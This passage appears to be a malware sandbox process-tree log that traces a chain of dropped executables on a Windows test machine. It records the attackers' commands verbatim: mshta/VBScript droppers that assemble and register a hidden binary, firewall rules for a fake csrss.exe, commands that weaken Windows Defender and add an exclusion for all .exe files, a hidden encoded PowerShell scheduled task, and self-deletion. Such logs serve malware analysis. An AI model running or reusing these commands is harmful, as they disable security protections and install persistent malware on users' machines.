C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"12⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes13⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome3.exe"C:\Users\Admin\AppData\Local\Temp\chrome3.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Users\Admin\AppData\Local\dwCSEFYAVz3Q.exe"C:\Users\Admin\AppData\Local\dwCSEFYAVz3Q.exe"9⤵
-
C:\Users\Admin\AppData\Local\vgQEcIID1TuA.exe"C:\Users\Admin\AppData\Local\vgQEcIID1TuA.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"10⤵
-
C:\Users\Admin\AppData\Local\upK4OaC.exe"C:\Users\Admin\AppData\Local\upK4OaC.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\5500950.exe"C:\Users\Admin\AppData\Roaming\5500950.exe"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Roaming\5500950.exe"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if """" == """" for %b iN ( ""C:\Users\Admin\AppData\Roaming\5500950.exe"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Roaming\5500950.exe" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "" == "" for %b iN ( "C:\Users\Admin\AppData\Roaming\5500950.exe" ) do taskkill /IM "%~nXb" /F12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "5500950.exe" /F13⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\148467.exe"C:\Users\Admin\AppData\Roaming\148467.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\148467.exe"C:\Users\Admin\AppData\Roaming\148467.exe"11⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"12⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes13⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome4.exe"C:\Users\Admin\AppData\Local\Temp\chrome4.exe"7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6832 -s 15328⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\_pszIgMSn1xUyoBlXrpwPxg4.exe"C:\Users\Admin\Pictures\Adobe Films\_pszIgMSn1xUyoBlXrpwPxg4.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\shUAqaziApXMZleHZkQC67mR.exe"C:\Users\Admin\Pictures\Adobe Films\shUAqaziApXMZleHZkQC67mR.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd7⤵
-
C:\Users\Admin\Pictures\Adobe Films\X1bFY3CtuRTx4Cj6x3i_uXd0.exe"C:\Users\Admin\Pictures\Adobe Films\X1bFY3CtuRTx4Cj6x3i_uXd0.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: cLose ( CREatEObJECT ( "wSCripT.sHeLl" ).Run ( "C:\Windows\system32\cmd.exe /q /r TyPE ""C:\Users\Admin\Pictures\Adobe Films\X1bFY3CtuRTx4Cj6x3i_uXd0.exe"" > ..\ZCJQBxDe1bLl.exE && staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If """" == """" for %e In ( ""C:\Users\Admin\Pictures\Adobe Films\X1bFY3CtuRTx4Cj6x3i_uXd0.exe"" ) do taskkill /iM ""%~Nxe"" -f ", 0 , TrUe ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /r TyPE "C:\Users\Admin\Pictures\Adobe Films\X1bFY3CtuRTx4Cj6x3i_uXd0.exe"> ..\ZCJQBxDe1bLl.exE && staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If "" == "" for %e In ( "C:\Users\Admin\Pictures\Adobe Films\X1bFY3CtuRTx4Cj6x3i_uXd0.exe" ) do taskkill /iM "%~Nxe" -f8⤵
-
C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: cLose ( CREatEObJECT ( "wSCripT.sHeLl" ).Run ( "C:\Windows\system32\cmd.exe /q /r TyPE ""C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE"" > ..\ZCJQBxDe1bLl.exE && staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If ""/pVxJDYWtOoH4fPZQYK~Ihe "" == """" for %e In ( ""C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE"" ) do taskkill /iM ""%~Nxe"" -f ", 0 , TrUe ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /r TyPE "C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE"> ..\ZCJQBxDe1bLl.exE && staRT ..\zCjQBxDe1bLl.exE /pVxJDYWtOoH4fPZQYK~Ihe & If "/pVxJDYWtOoH4fPZQYK~Ihe " == "" for %e In ( "C:\Users\Admin\AppData\Local\Temp\ZCJQBxDe1bLl.exE" ) do taskkill /iM "%~Nxe" -f11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCriPT: ClOse (CREaTeobJeCT ( "wsCrIpT.Shell" ).RUN ( "Cmd.eXe /c eChO | seT /p = ""MZ"" >fA3I62.O & cOpY /b /Y FA3I62.O + FMY2PsP._ + HV5RuF.CFI + WaNM9P.nA + DTVELmQU.bP + U7t6Z.AN + GcWoGDrW.N ..\bYEG.AAu& staRT odbcconf -A { regSVR ..\BYEG.AAU } & del /Q * " , 0, TRue ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c eChO | seT /p = "MZ" >fA3I62.O & cOpY /b /Y FA3I62.O + FMY2PsP._ +HV5RuF.CFI + WaNM9P.nA + DTVELmQU.bP + U7t6Z.AN + GcWoGDrW.N ..\bYEG.AAu& staRT odbcconf -A { regSVR ..\BYEG.AAU } & del /Q *11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eChO "12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>fA3I62.O"12⤵
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf -A { regSVR ..\BYEG.AAU }12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "X1bFY3CtuRTx4Cj6x3i_uXd0.exe" -f9⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\A47ThGAGXM5A7zflmjeQWeOV.exe"C:\Users\Admin\Pictures\Adobe Films\A47ThGAGXM5A7zflmjeQWeOV.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\6Gj8wEbsTPcmqWVFUlv_Ujj0.exe"C:\Users\Admin\Pictures\Adobe Films\6Gj8wEbsTPcmqWVFUlv_Ujj0.exe"6⤵
-
C:\Users\Admin\AppData\Local\9c11e53d-da41-48c8-9596-532d412e745c.exe"C:\Users\Admin\AppData\Local\9c11e53d-da41-48c8-9596-532d412e745c.exe"7⤵
-
C:\Users\Admin\AppData\Local\de705a16-82e8-4897-952e-a23ead7c43b0.exe"C:\Users\Admin\AppData\Local\de705a16-82e8-4897-952e-a23ead7c43b0.exe"7⤵
-
C:\Users\Admin\AppData\Local\67371f56-aab5-4b1b-81f7-5a6af3a2d95c.exe"C:\Users\Admin\AppData\Local\67371f56-aab5-4b1b-81f7-5a6af3a2d95c.exe"7⤵
-
C:\Users\Admin\AppData\Local\6e316661-02bd-4b3a-a8d9-00f05eee51d3.exe"C:\Users\Admin\AppData\Local\6e316661-02bd-4b3a-a8d9-00f05eee51d3.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1859625.exe"C:\Users\Admin\AppData\Roaming\1859625.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Roaming\1859625.exe"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if """" == """" for %b iN ( ""C:\Users\Admin\AppData\Roaming\1859625.exe"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Roaming\1859625.exe" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "" == "" for %b iN ( "C:\Users\Admin\AppData\Roaming\1859625.exe" ) do taskkill /IM "%~nXb" /F10⤵
-
C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPt: cloSe ( cReaTEobjeCT ( "wscRIPT.ShELL" ). rUN ("C:\Windows\system32\cmd.exe /q /c cOPy /y ""C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE"" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if ""/PX4zG_MrDTQaqZDUFLE4FTCdM "" == """" for %b iN ( ""C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE"" ) do taskkill /IM ""%~nXb"" /F" , 0, TrUE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /c cOPy /y "C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE" ..\2Bb195rsXHPl~.ExE && sTArT ..\2BB195rSXHPL~.EXE /PX4zG_MrDTQaqZDUFLE4FTCdM & if "/PX4zG_MrDTQaqZDUFLE4FTCdM " == "" for %b iN ( "C:\Users\Admin\AppData\Local\Temp\2Bb195rsXHPl~.ExE" ) do taskkill /IM "%~nXb" /F13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: ClOSe (CrEatEOBJEcT ( "wscrIPT.shELL" ). run ("cmd.EXE /c ecHo DbsHLC:\Users\Admin\AppData\Local\Temp> NG09OyO.Q~L & EchO | sET /P = ""MZ"" > Ie8u.CQ & COpY /b /Y IE8U.CQ + x6cWIo.IP + JKXHZ5zV.E + hmNWm.I + NG09OyO.Q~L ..\KSHU2.Nr & Del /Q *& STaRt odbcconf /A { REgSVR ..\KSHU2.Nr } " , 0 , TRUE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ecHo DbsHLC:\Users\Admin\AppData\Local\Temp> NG09OyO.Q~L & EchO | sET /P = "MZ" > Ie8u.CQ & COpY /b /Y IE8U.CQ + x6cWIo.IP+ JKXHZ5zV.E + hmNWm.I + NG09OyO.Q~L ..\KSHU2.Nr & Del /Q *& STaRt odbcconf /A { REgSVR ..\KSHU2.Nr }13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EchO "14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>Ie8u.CQ"14⤵
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf /A { REgSVR ..\KSHU2.Nr }14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "1859625.exe" /F11⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\6820369.exe"C:\Users\Admin\AppData\Roaming\6820369.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\6820369.exe"C:\Users\Admin\AppData\Roaming\6820369.exe"9⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵
-
C:\Users\Admin\AppData\Local\61c64187-a373-43a3-8405-8b975fcd97be.exe"C:\Users\Admin\AppData\Local\61c64187-a373-43a3-8405-8b975fcd97be.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\jesEO0VJjLQ4WbtDkxjKuzba.exe"C:\Users\Admin\Pictures\Adobe Films\jesEO0VJjLQ4WbtDkxjKuzba.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\KqrzHA8vBe0fmGCUZbhANDvj.exe"C:\Users\Admin\Pictures\Adobe Films\KqrzHA8vBe0fmGCUZbhANDvj.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8F3C.tmp\Install.exe.\Install.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSD5F9.tmp\Install.exe.\Install.exe /S /site_id "525403"8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &9⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True13⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&10⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3211⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6411⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&10⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3211⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6411⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gyffoHpyh" /SC once /ST 01:17:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="9⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gyffoHpyh"9⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gyffoHpyh"9⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bxXVHDbGydkxZRRGGJ" /SC once /ST 17:00:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\tVZbqVmvFJKrqKATN\xiEpiqwXxkWUYEe\ZgasMSs.exe\" vy /site_id 525403 /S" /V1 /F9⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\vTNckmZuUw81GLTt4cSUL_F7.exe"C:\Users\Admin\Pictures\Adobe Films\vTNckmZuUw81GLTt4cSUL_F7.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\HXdeUEKJIZpcJon2r1OSKwfa.exe"C:\Users\Admin\Pictures\Adobe Films\HXdeUEKJIZpcJon2r1OSKwfa.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im HXdeUEKJIZpcJon2r1OSKwfa.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\HXdeUEKJIZpcJon2r1OSKwfa.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im HXdeUEKJIZpcJon2r1OSKwfa.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\AOvZ2WFO9fAmxuGRDuNkhJO8.exe"C:\Users\Admin\Pictures\Adobe Films\AOvZ2WFO9fAmxuGRDuNkhJO8.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\0YAnV1mdRaD1Fh2yIby0Q2Eb.exe"C:\Users\Admin\Pictures\Adobe Films\0YAnV1mdRaD1Fh2yIby0Q2Eb.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\U1cCfHmTzPgg_LvlVl4d78bP.exe"C:\Users\Admin\Pictures\Adobe Films\U1cCfHmTzPgg_LvlVl4d78bP.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\SimplInst.exe"C:\Users\Admin\AppData\Local\Temp\SimplInst.exe" /S /site_id=6906897⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &8⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"9⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True11⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True12⤵
-
